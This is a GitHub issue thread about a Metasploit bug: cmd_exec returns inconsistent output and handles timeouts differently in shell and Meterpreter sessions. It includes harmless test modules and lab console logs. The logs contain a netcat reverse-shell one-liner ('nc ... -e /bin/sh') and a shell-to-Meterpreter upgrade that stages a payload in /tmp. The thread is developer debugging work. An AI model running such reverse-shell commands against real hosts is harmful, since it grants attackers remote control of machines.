Metasploit-framework: `cmd_exec` inconsistent behaviour between Meterpreter and Shell sessions

Created on 17 Jan 2018  路  11Comments  路  Source: rapid7/metasploit-framework

cmd_exec is handled differently in shell and Meterpreter sessions.

Steps to reproduce

Test module modules/exploits/linux/local/test.rb :

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Post::File
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Test',
      'Description'    => %q{
        Test
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'test'
        ],
      'DisclosureDate' => 'test',
      'Platform'       => [ 'linux' ],
      'Arch'           => [ ARCH_X86, ARCH_X64 ],
      'SessionTypes'   => [ 'shell', 'meterpreter' ],
      'Targets'        => [[ 'Auto', {} ]],
      'References'     =>
        [
          [ ]
        ]
    ))
    register_options(
      [
        OptInt.new('TIMEOUT', [ true, 'Timeout (seconds)', '60' ])
      ])
  end

  def timeout
    datastore['TIMEOUT']
  end

  def exploit
    cmd = '/bin/ls -l /etc/passwd'
    args = nil
    print_status "Running command: #{cmd.inspect}"
    output = cmd_exec cmd, args, timeout
    output.each_line { |line| vprint_status line.chomp }
    puts 'command completed successfully' if output =~ /root/

    puts cmd_exec 'echo we made it to the end'
  end
end

Output

msf exploit(linux/local/test) > sessions 

Active sessions
===============

  Id  Name  Type                   Information                                                       Connection
  --  ----  ----                   -----------                                                       ----------
  1         shell cmd/unix                                                                           172.16.191.244:1337 -> 172.16.191.137:37369 (172.16.191.137)
  6         meterpreter x86/linux  uid=1000, gid=1000, euid=1000, egid=1000 @ localhost.localdomain  172.16.191.244:4433 -> 172.16.191.137:49768 (172.16.191.137)

Shell Session

set sessimsf exploit(linux/local/test) > set session 1
session => 1
msf exploit(linux/local/test) > run

[!] SESSION may not be compatible with this module.
[*] Started reverse TCP handler on 172.16.191.244:4444 
[*] Running command: "/bin/ls -l /etc/passwd"
[*] -rw-r--r--. 1 root root 2076 Jan 18 02:59 /etc/passwd
command completed successfully
we made it to the end
[*] Exploit completed, but no session was created.

Meterpreter Session

msf exploit(linux/local/test) > set session 6
session => 6
msf exploit(linux/local/test) > run

[*] Started reverse TCP handler on 172.16.191.244:4444 
[*] Running command: "/bin/ls -l /etc/passwd"
[*] (current) UNIX password:        # <-- wtf
we made it to the end
[*] Exploit completed, but no session was created.

Expected behavior

puts 'command completed successfully' for both shell and Meterpreter sessions.

Current behavior

puts 'command completed successfully' for only shell sessions.

Notes

It's possible that def cmd_exec(cmd, args=nil, time_out=15) was intended to be used in the form of '/path/to/command', 'argument', int_timeout - but that's no excuse for inconsistent and undocumented behavior dependent on session type.

Additionally, using the above method invocation introduced unrelated issues (again, only with Meterpreter sessions and not shell sessions) when dealing with timeout handling.

Eyeballing the cmd_exec method in lib/msf/core/post/common.rb (shown below) shows that break is invoked inside the while (d = process.channel.read) loop if execution time has reached timeout or we received data during a previous iteration but not this iteration. That makes no sense. That's bad.

  def cmd_exec(cmd, args=nil, time_out=15)
    case session.type
    when /meterpreter/

      # --- removed for brevity ---

      session.response_timeout = time_out
      process = session.sys.process.execute(cmd, args, {'Hidden' => true, 'Channelized' => true})
      o = ""
      # Wait up to time_out seconds for the first bytes to arrive
      while (d = process.channel.read)
        if d == ""
          if (Time.now.to_i - start < time_out) && (o == '')
            sleep 0.1
          else
            break
          end
        else
          o << d
        end
      end
      o.chomp! if o
bug cmd_exec is broken again meterpreter test module

All 11 comments

@busterb

Here's transcript from the Payload's side of things:

[01-17-2018 23:34:24.835s] [tlv.c:570] processing method: 'stdapi_sys_process_execute' id: '32419199193898154995808019434992'
[01-17-2018 23:34:24.835s] [stdapi/sys/process.c:246] process_new: /bin/ls -l /etc/passwd  0x00000003
[01-17-2018 23:34:24.835s] [process.c:374] child pid 59819 started
[01-17-2018 23:34:24.838s] [tlv.c:570] processing method: 'core_channel_read' id: '45036279124124374314088011519016'
[01-17-2018 23:34:24.865s] [process.c:252] child pid 59819 exited status 0
[01-17-2018 23:34:25.041s] [tlv.c:570] processing method: 'core_channel_read' id: '40582359891321730452799080031725'
[01-17-2018 23:34:25.041s] [stdapi/sys/process.c:185] read 58 bytes for channel
[01-17-2018 23:34:25.042s] [tlv.c:570] processing method: 'core_channel_read' id: '83780942021751381526169313348738'
[01-17-2018 23:34:25.044s] [tlv.c:570] processing method: 'core_channel_close' id: '76383824673807459154723131317537'
[01-17-2018 23:34:25.044s] [tlv.c:570] processing method: 'stdapi_sys_process_close' id: '00141436741258443287939853098163'

At least part of the issue appears to be the magic fixup code here:

https://github.com/rapid7/mettle/blob/master/mettle/src/process.c#L181

combined with this module not using the 'args' field and instead putting arguments in the cmd field. I fixed that locally, now looking how to properly abort the read loop since we don't have a token to read on the framework side, and this is reading way past the command having exited.

This module demonstrates the timeout issues with Meterpreter when using the cmd_exec cmd, args, int_timeout invocation.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Post::File
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Test Timeout',
      'Description'    => %q{
        Test
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'test'
        ],
      'DisclosureDate' => 'test timeout',
      'Platform'       => [ 'linux' ],
      'Arch'           => [ ARCH_X86, ARCH_X64 ],
      'SessionTypes'   => [ 'shell', 'meterpreter' ],
      'Targets'        => [[ 'Auto', {} ]],
      'References'     =>
        [
          [ ]
        ]
    ))
    register_options(
      [
        # cmd_exec default timeout apears to be 15 - use something larger here:
        OptInt.new('TIMEOUT', [ true, 'Timeout (seconds)', '30' ])
      ])
  end

  def timeout
    datastore['TIMEOUT']
  end

  def exploit
    # cmd_exec default timeout apears to be 15 - use something larger, but less than TIMEOUT, here:
    cmd = '/bin/echo'
    args = 'some_initial_data && sleep 20 && echo true'
    print_status "Running command: #{cmd.inspect} with args #{args.inspect}"
    output = cmd_exec cmd, args, timeout
    output.each_line { |line| vprint_status line.chomp }
    puts 'command completed successfully' if output =~ /true/

    puts cmd_exec 'echo we made it to the end'
  end
end

Output

msf exploit(linux/local/test) > sessions 

Active sessions
===============

  Id  Name  Type                   Information                                                       Connection
  --  ----  ----                   -----------                                                       ----------
  1         shell cmd/unix                                                                           172.16.191.244:1337 -> 172.16.191.137:37369 (172.16.191.137)
  6         meterpreter x86/linux  uid=1000, gid=1000, euid=1000, egid=1000 @ localhost.localdomain  172.16.191.244:4433 -> 172.16.191.137:49768 (172.16.191.137)

Shell Session

msf exploit(linux/local/test2) > set session 1
session => 1
msf exploit(linux/local/test2) > run

[!] SESSION may not be compatible with this module.
[*] Started reverse TCP handler on 172.16.191.244:4444 
[*] Running command: "/bin/echo" with args "some_initial_data && sleep 40 && echo true"
command completed successfully
we made it to the end
[*] Exploit completed, but no session was created.

Meterpreter Session

msf exploit(linux/local/test2) > set session 6
session => 6
msf exploit(linux/local/test2) > run

[*] Started reverse TCP handler on 172.16.191.244:4444 
[*] Running command: "/bin/echo" with args "some_initial_data && sleep 40 && echo true"
we made it to the end
[*] Exploit completed, but no session was created.

Expected behavior

puts 'command completed successfully' for both shell and Meterpreter sessions.

Current behavior

puts 'command completed successfully' for only shell sessions.

wip branch for fixes, since there will be more than one on this issue: https://github.com/busterb/mettle/tree/fix-cmd_exec-issues

CC @bwatters-r7 / @jmartin-r7 would be lovely to get these tests integrated into the standard payload test suite, even if it's just the guts integrated into one of the other test modules.

I put put up a PR on mettle that fixes cmd_exec's expectations. With a few minor tweaks to cmd_exec as well, this works like shell sessions.

Perhaps I haven't updated mettle properly, but the patch did not work as described.

Here's how I updated from 0.3.3 to 0.3.5:

diff --git a/metasploit-framework.gemspec b/metasploit-framework.gemspec
index d5bb33f..ef442a0 100644
--- a/metasploit-framework.gemspec
+++ b/metasploit-framework.gemspec
@@ -72,7 +72,7 @@ Gem::Specification.new do |spec|
   # Needed for Meterpreter
   spec.add_runtime_dependency 'metasploit-payloads', '1.3.25'
   # Needed for the next-generation POSIX Meterpreter
-  spec.add_runtime_dependency 'metasploit_payloads-mettle', '0.3.3'
+  spec.add_runtime_dependency 'metasploit_payloads-mettle', '0.3.5'
   # Needed by msfgui and other rpc components
   spec.add_runtime_dependency 'msgpack'
   # get list of network interfaces, like eth* from OS.

Followed by bundle install.

Now this happens:

msf5 > 
msf5 > use exploit/multi/handler 
msf5 exploit(multi/handler) > set lport 1337
lport => 1337
msf5 exploit(multi/handler) > set lhost 172.16.191.244
lhost => 172.16.191.244
msf5 exploit(multi/handler) > set payload cmd/unix/reverse_netcat
payload => cmd/unix/reverse_netcat
msf5 exploit(multi/handler) > run

[*] Started reverse TCP handler on 172.16.191.244:1337 
[*] Command shell session 1 opened (172.16.191.244:1337 -> 172.16.191.137:37480) at 2018-01-19 02:14:59 -0500

id
uid=1000(user) gid=1000(user) groups=1000(user),10(wheel) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
^Z
Background session 1? [y/N]  y

msf5 exploit(multi/handler) > sessions -u 1
[*] Executing 'post/multi/manage/shell_to_meterpreter' on session(s): [1]

[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 172.16.191.244:4433 
[*] Sending stage (857352 bytes) to 172.16.191.137
[*] 172.16.191.137 - Meterpreter session 2 closed.  Reason: Died
[*] Meterpreter session 2 opened (127.0.0.1 -> 172.16.191.137:49875) at 2018-01-19 02:15:15 -0500
[*] Command stager progress: 100.00% (773/773 bytes)
msf5 exploit(multi/handler) > sessions -u 1
[*] Executing 'post/multi/manage/shell_to_meterpreter' on session(s): [1]

[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[-] Job 0 is listening on IP 172.16.191.244 and port 4433
[-] A job is listening on the same local port
[-] Failed to start exploit/multi/handler on 4433, it may be in use by another process.
msf5 exploit(multi/handler) > jobs

Jobs
====

  Id  Name                    Payload                            Payload opts
  --  ----                    -------                            ------------
  0   Exploit: multi/handler  linux/x86/meterpreter/reverse_tcp  tcp://172.16.191.244:4433

msf5 exploit(multi/handler) > jobs -k 0
[*] Stopping the following job(s): 0
[*] Stopping job 0
msf5 exploit(multi/handler) > sessions -u 1
[*] Executing 'post/multi/manage/shell_to_meterpreter' on session(s): [1]

[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 172.16.191.244:4433 
[*] Sending stage (857352 bytes) to 172.16.191.137
[*] 172.16.191.137 - Meterpreter session 3 closed.  Reason: Died
[*] Meterpreter session 3 opened (127.0.0.1 -> 172.16.191.137:49876) at 2018-01-19 02:16:50 -0500
[*] Command stager progress: 100.00% (773/773 bytes)
msf5 exploit(multi/handler) > sessions

Active sessions
===============

  Id  Name  Type            Information  Connection
  --  ----  ----            -----------  ----------
  1         shell cmd/unix               172.16.191.244:1337 -> 172.16.191.137:37480 (172.16.191.137)

msf5 exploit(multi/handler) > sessions -u 1
[*] Executing 'post/multi/manage/shell_to_meterpreter' on session(s): [1]

[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[-] Job 1 is listening on IP 172.16.191.244 and port 4433
[-] A job is listening on the same local port
[-] Failed to start exploit/multi/handler on 4433, it may be in use by another process.
msf5 exploit(multi/handler) > jobs -k 1
[*] Stopping the following job(s): 1
[*] Stopping job 1
msf5 exploit(multi/handler) > sessions -u 1
[*] Executing 'post/multi/manage/shell_to_meterpreter' on session(s): [1]

[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 172.16.191.244:4433 
[*] Sending stage (857352 bytes) to 172.16.191.137
[*] 172.16.191.137 - Meterpreter session 4 closed.  Reason: Died
[*] Meterpreter session 4 opened (127.0.0.1 -> 172.16.191.137:49877) at 2018-01-19 02:17:08 -0500
[*] Command stager progress: 100.00% (773/773 bytes)
msf5 exploit(multi/handler) > sessions

Active sessions
===============

  Id  Name  Type            Information  Connection
  --  ----  ----            -----------  ----------
  1         shell cmd/unix               172.16.191.244:1337 -> 172.16.191.137:37480 (172.16.191.137)

On the client:

[user@localhost ~]$ nc 172.16.191.244 1337 -e /bin/sh 
/bin/sh: line 7: 24088 Segmentation fault      (core dumped) '/tmp/WRFEN'
/bin/sh: line 13: 24120 Segmentation fault      (core dumped) '/tmp/rxqQo'
/bin/sh: line 19: 24136 Segmentation fault      (core dumped) '/tmp/QEvBH'

Reverting back to 0.3.3 prevented the issue.

Test system is Fedora 20.

This needs changes on the Metasploit side as well, I have not pushed these changes as a PR yet.

Now that I've had a little time to play with the build, you indeed found a bug, but related to a different patch ;P. Will fix it as well.

OK, PR is up to fix the crash on injected processes, see https://github.com/rapid7/mettle/pull/116

Was this page helpful?
0 / 5 - 0 ratings